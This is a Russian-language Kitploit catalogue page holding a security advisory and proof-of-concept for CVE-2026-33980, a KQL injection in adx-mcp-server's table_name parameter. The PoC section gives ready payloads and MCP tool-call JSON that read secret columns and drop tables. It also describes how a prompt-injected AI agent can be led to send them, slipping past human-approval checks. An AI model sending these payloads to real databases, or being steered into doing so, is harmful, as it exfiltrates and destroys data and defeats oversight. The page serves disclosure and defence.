Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-33980 — Эксплойт proof-of-concept для инъекции KQL в adx-mcp-server через параметр table_name, позволяющий осуществлять эксфильтрацию данных и выполнять деструктивные команды в Azure Data Explorer. | Kitploit
Инструменты/GitHubGitHub/romain-deperne/cve-2026-33980
Анализ уязвимостейАнализ КодаЭксплуатацияЭксплуатация веб-приложенийБезопасность облачных средБезопасность Баз Данных
GitHubromain-deperne/cve-2026-33980

CVE-2026-33980

Эксплойт proof-of-concept для инъекции KQL в adx-mcp-server через параметр table_name, позволяющий осуществлять эксфильтрацию данных и выполнять деструктивные команды в Azure Data Explorer.

Репозиторий
371 месяц назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-33980 — KQL-инъекция в adx-mcp-server через параметр table_name

Уровень серьёзности: Высокий (CVSS 8.3) CWE: CWE-943 — Ненадлежащая нейтрализация специальных элементов в логике запросов к данным Затронуто: adx-mcp-server <= 1.1.0 Рекомендация: GHSA-vphc-468g-8rfp NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-33980 Благодарность: Romain Deperne

TL;DR

Три инструмента MCP в adx-mcp-server подставляют параметр table_name напрямую в запросы KQL (Kusto Query Language) через f-строки. Злоумышленник или AI-агент, подверженный prompt-инъекции, может прочитать любую таблицу в кластере Azure Data Explorer, выполнить команды управления (.drop table) или запустить произвольные аналитические запросы — обходя границу доверия между «безопасными» инструментами метаданных и необработанным инструментом execute_query.

Анализ

Я просматривал список awesome-mcp-servers в поисках MCP-серверов, которые оборачивают облачные платформы данных — они представляют высокий риск, поскольку предназначены для предоставления AI-агентам прямого доступа к базам данных, а параметры инструментов MCP полностью контролируются злоумышленником (любая LLM, обрабатывающая недоверенные данные, может быть подвергнута prompt-инъекции, чтобы передать вредоносные аргументы инструмента).

Изучение того, как параметры инструментов MCP попадают в запросы Azure Data Explorer, выявило три прямые интерполяции в server.py: f"{table_name} | getschema", f"{table_name} | sample {sample_size}" и f".show table {table_name} details".

Интересная часть — это обход границы доверия: сервер предоставляет как необработанный инструмент execute_query (для которого MCP-клиенты могут требовать одобрения человеком), так и эти «безопасные» инструменты инспекции метаданных (которые одобряются автоматически). Инъекция через инструменты метаданных позволяет обойти любую политику одобрения, применяемую клиентом. Именно это превратило проблему из «бага инъекции» в реальное нарушение границы безопасности.

Синтаксис комментариев KQL (//) позволяет полезной нагрузке подавить оставшуюся часть исходного запроса.

Затронутый компонент

Файл: src/adx_mcp_server/server.py

# Line 228 — get_table_schema
query = f"{table_name} | getschema"

# Line 248 — sample_table_data
query = f"{table_name} | sample {sample_size}"

# Line 268 — get_table_details
query = f".show table {table_name} details"

Все три передают table_name из аргументов MCP-инструмента напрямую в client.execute(config.database, query) без какой-либо проверки.

Корневая причина

KQL позволяет объединять операторы запроса через | и выполнять команды управления с префиксом .. Символ // начинает комментарий до конца строки. Прямая интерполяция f-строк, таким образом, допускает инъекцию запроса:

  • f"{table_name} | getschema" → добавить | project Secret //, чтобы закомментировать | getschema
  • f".show table {table_name} details" → внедрить \n.drop table, чтобы связать команду управления

Почему это важно за пределами простого инструмента execute_query: клиенты MCP часто различают «безопасные» инструменты только для чтения (автоматически одобряемые) и инструменты прямого выполнения (требующие подтверждения). Инъекция нацелена на «безопасные» инструменты работы с метаданными, обходя границу одобрения.

PoC

Полную демонстрацию см. в poc.py. Основные полезные нагрузки:

# Data exfiltration via get_table_schema
# f"{table_name} | getschema" becomes:
# "sensitive_data | project Secret, Password | take 100 // | getschema"
# → // comments out "| getschema"; query reads sensitive_data columns
table_name = "sensitive_data | project Secret, Password | take 100 //"

# Destructive management command via get_table_details
# f".show table {table_name} details" becomes:
# ".show table users details\n.drop table critical_data details"
table_name = "users details\n.drop table critical_data"

Вызовы инструментов MCP:

{"name": "get_table_schema", "arguments": {"table_name": "sensitive_data | project Secret, Password | take 100 //"}}
{"name": "get_table_details", "arguments": {"table_name": "users details\n.drop table critical_data"}}

Воздействие

  1. Эксфильтрация данных — чтение любой таблицы в базе данных Azure Data Explorer
  2. Уничтожение данных — команды управления, такие как .drop table, .drop extents
  3. Усиление prompt injection — AI-агент, обрабатывающий контролируемые злоумышленником данные в ADX, может быть подвергнут манипуляции для передачи вредоносных значений table_name, превращая prompt injection в полный доступ к данным

Хронология

  • Сообщено: приватный advisory GHSA
  • CVE опубликован: CVE-2026-33980
Скачать инструмент